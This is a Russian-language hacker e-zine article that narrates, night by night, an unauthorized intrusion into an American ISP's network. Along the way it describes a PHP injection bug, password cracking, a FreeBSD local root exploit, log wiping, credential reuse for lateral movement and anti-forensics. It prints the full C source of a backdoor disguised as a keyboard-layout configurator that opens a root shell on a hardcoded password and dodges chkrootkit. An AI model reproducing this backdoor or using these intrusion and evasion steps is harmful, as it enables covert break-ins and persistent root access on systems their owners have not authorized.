...We fuckin' _YOUR_ security since Oct. 2003...
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==
*I*S*P* *H*A*C*K*E*D*
Intr0:
В этой статье я расскажу как был взят один американский пров. Вот как эта дока
выглядела бы в Хакере: придурку-автору в irc/icq постучал кто-то ещё более тупой
и предложил взломать что-то. Ну, типа чувак хотел идти спать, но решил проверить
хост. И вуаля - взломано за одну ночь. Тут этого _НЕ__БУДЕТ_. Никакого взлома на
примере, никаких скринов. Это не пошаговое руководство, так что _учитесь_ думать
сами. Я просто расскажу как всё было.
-------( Day #1 )
Нашёл в инете php-скрипт (уже не помню какой, но это не важно). Минут через 40
я обнаружил уязвимость source_injection. Неплохо. Потестил в линухе -да, отлично
работает. Ночью надо посмотреть уязвимые хосты. Yop, i've g0t 0day php-bug ;) Вы
не найдёте его ни в BQ, ни где-любо ещё. real private stuff ))
-------( Night #1 )
Запустил яндекс с именем этого скрипта. В итоге получил нехилый список хостов.
Пока его разгребал, нашёл сайт американского прова. Попробывал там заюзать багу-
хех, работает. Система: фряха 4.5-RELEASE. Исполнение команд на тачке прова - не
так уж и плохо, а? ;) Начал собирать инфу. В системе никого не было. root вообще
появлялся тут раз в 2 недели (если конечно он не тёр логи;). Ну это вообще лофа.
Смотрю список процессов и конфиг syslogd'a - _НИКАКОЙ_ отправки логов на другие
машины, не видно и средств дополнительного логирования. Похоже у нас мейл-сервер
тут. Глянул netstat - точно. Ещё висит sshd. Теперь посмотрим конфиг скрипта....
Ничего интересного. Но порывшись в /cgi-bin/ я нашёл-таки файл какого-то скрипта
где были зашифрованные пароли примерно 20 пользователей. Лана, поставил джона
расшифровывать, а сам попытался заснуть (адреналин Ж))).
-------( Day #2 )
Так, что мы имеем - многие пароли взломаны. Отлично, теперь проверим их права
Смотрю passwd через багу в скрипте.. Так, почти все аккаунты только для работы с
мылом, тоесть шелл =/sbin/nologin. Но есть три аккаунта из группы wheel - похоже
это то что надо. До ночи полно времени, можно поискать доки про fbsd и сплоиты к
ней. Нашёл кое что - во всех ядрах до (и включая) 4.6-RELEASE есть бага в работе
с дескрипторами. Нашёл несколько сплоитов. Осталось дождаться ночи... Кстати, а
мне понадобится простой троян...
-------( Night #2 )
Логинюсь в систему... так, теперь проверим сплоит. Хех, я рут ) Кстати, сплоит
работает некрасиво - он создаёт skey для рута. В файле /etc/skeykeys (так вроде,
дело давно было, короче читай маны по skey) он создаёт запись соответственно. Но
мы больше не войдём под рутом, т.к. сам пароль не знаем. Поэтому я просто потёр
список ключей (этого файла и не было до моего вторжения), после того как получил
рута. Так лучше... Теперь с логами надо разобраться... всё стандартно. Ну чтож,
im inside =)) Стал собирать инфу из системы. Тут две внутренних сети - 10.0.0.x
и 192.168.x.x Похоже, что первая - для персонала, вторая - для юзерей. Посмотрел
/etc/hosts - опа, скока у нас хостов. Этож просто рулёз.. Так, смотрим какие тут
скритпы юзает админ.. А нихрена он не юзает. Так что можно сунуть шелл куда-нить
и поставить на него , но setuid bit by r00t, но это конечно самое тупое решение.
Написал простой трой, который не обнаруживается chkrootkit'ом и загнал его в
/usr/share/locale/ru. А вот сам код (хех, на винте валялся до сих пор):
#define GOTROOT "HACKinG0"
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
char* pw[300];
printf("Configuring russian keyboard layout v 1.6\n");
printf("Choose a codepage(koi8-r or cp1251): \n");
scanf("%s",&pw);
if ((strncmp(pw,GOTROOT,strlen(GOTROOT))==0) && (strlen(pw)==strlen(GOTROOT))){
strcpy(argv[0],"vi\0\0\0\0\0\0\0");
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system("/bin/s`echo h`"); /* fuck chkrootkit ! */
} else { printf("Sorry, some error!\n"); }
}
/* _eof_ */
Короче, скромно но работает. У меня нет fbsd на моей домашней машине, так что
я эту систему плохо знаю. Админ заходит так редко и судя по хистори не парится о
безопасности своего бокса... то что надо )
-------( Night #3 )
Мля, сегодня не охота ломать, хочется просто отдохнуть... Так что я заглянул
в систему чтобы почистить логи апача (во мля, забыл в прошлый раз ж) и проверить
всё остальное. Нормал. Теперь надо пропатчить скрипт, чтобы больше не светиться
с багой. Готово... У меня есть возможность выполнять команды без входа в систему
и логов минимум. Пригодится чтобы проверять, кто внутри без обращения к дырявому
скрипту... Админ похоже лопух.
-------( Night #4 )
Вот и я, в системе как обычно никого. Но днём заходил админ. Наверное проверял
как тут дела =) Лана, посмотрим что у нас в сабнете.. не густо. Восемь машин, на
которых у мя есть шанс побывать. Остальное - под разными виндами. Я ведь ещё не
смотрел сабнет пользователей, но это фигня... Логинюсь на машину, с которой днём
заходил админ. Подошёл пароль юзера из группы wheel, который я уже юзал при хаке
первой машины. Всё тихо. Снова тут freebsd, версия дырявая. Короче, и тут я рут.
Потёр логи, осмотрелся - круто мля. В дире рута нашёл много интересных конфигов
для сетевых девайсов. Моя цель - не получить базу юзверей, а просто погулять по
их нету. И конечно никаких rm. Интересно понять, как работает их сетка. Тут хост
служит как комп админа кажется ж)) Не обнаружил никаких серверов кроме sshd, так
что это просто рабочее место админа ж) Смотрю записи wtmp - ага, один юзер сидит
всё время из группы wheel. Короче, админ молодец - под рутом зря не входит ) Ну,
теперь спать...
-------( Night #5 )
Продолжение "Bastard Operator From Hell" со мной в главной роли ж))) Так, пора
осмотреть остальные хосты... Походу куча народу работает с win2k рабочих станций
и несколько юниксов (пару из них я уже взял =)). В сети юзверей полно интересных
девайсов, но мне это пока не надо. Главный web-server вообще не в этой сети.Имхо
удачное решение ) Вот, кстати и сервер статистики. Лана, на сегодня всё...
-------( Night #6 )
Посмотрим, что ещё есть в сети персонала... Взял одну машину с фряхой 4.6. Да,
сплоит работает и с 4.6 нормально =) Опа, у нас тут nfsd висит. Интересно, а кто
клиенты? Да, вот и неколько боксов. Похоже с фряхой. Логинюсь на один из них -да
всё запущено, хер занет что за ось... Проверил, это iBSD (точно уже не помню ж),
а под него сплоитов я не видел... Я в группе wheel. Рута взять не могу, и это не
есть гуд. В худшем случае я засвечу один из хостов сабнета, с которого я вошёл..
Хреново. Осмотрелся -я могу юзать mount_nfsd. Может поиграть с nfs'ом? Есть туча
трюков как взломать с его помощью. Потратил пару часов на это. Результат = NULL.
Мля.. Мля, я устал, так что пойду спать (хотя не факт, что мне это удастся)...
-------( Day #7 )
Читал доки по NFS'у, и его реализации в bsd системах... попробую получить рута
на той машине с iBSD... Если не получится, то надо будет сваливать, т.к. когда
админ засечёт меня, он может навешать кучу всякого дерьма и это будет палево. А
я не хочу светить ip своей хак-площадки...
-------( Night #7 & 8 )
Пытался взять рута -полный облом. Хотя я почти не наследил, надо мне было быть
поосторожнее и не ломиться просто так на другие боксы. Перепробывал туеву хучу
способов - нихера не прёт... лана, пора сворачиваться. Руткиты/etc я не ставил,
кроме faker.c поскольку заходил туда только ночью. Вообше, многие они детектятся
без труда, так что их юзать порой палево. Почистил тачку, с которой я попал в их
сеть... да, похоже всё готово... пора сваливать. exit.
Пару недель спустя я заглянул в ту тачку прова, с котрой я начал весь взлом. Там
у меня был пропатчен cgi-скрипт, так что я мог выполнять команды. Рут часто стал
заходить (( А вот что меня обрадовало, так это то что в /usr/share/locale/ru был
до сих пор мой faker ;)) Админ похоже так и не обратил на него внимание. Похоже
его опыт работы с bsd-системами ещё менбше моего ) Кстати, проверил досутп к ssh
- вход извне закрыт. На этом я забил на их сети.
-------( N.O.T.I.C.E )
1. этот взлом не связан с опубликованием в D#3 списка аккаунтов SSImicro !!!
2. я не упомянул о многих вещах. Ясно, что по вебу я лазал через прокси. Вообще,
все действия для проникновения внутрь производил с шелла, а не с домашней тачки.
Тоесть я старался не засветить cвой ip. Перед входом в систему я проверял через
скрипт кто в системе. И про хистори файлы я тож не забыл Ж) Ну и так далее...
3. вообще, faker.c я юзал на всех хостах, которые ломал в этой сетке.А админ его
упорно незамечал )))
4. кое-что я мог и забыть. Но всё основное тут есть.
Outr0:
1. не обязательно быть гуру, чтобы ломануть прова.
2. не всегда взлом оканчивается удачно, это же не сопливые истории из Хакер'a...
3. взлом иногда занимает ОЧЕНЬ много времени (иногда потому, что просто _лениво_
искать инфу, etc =))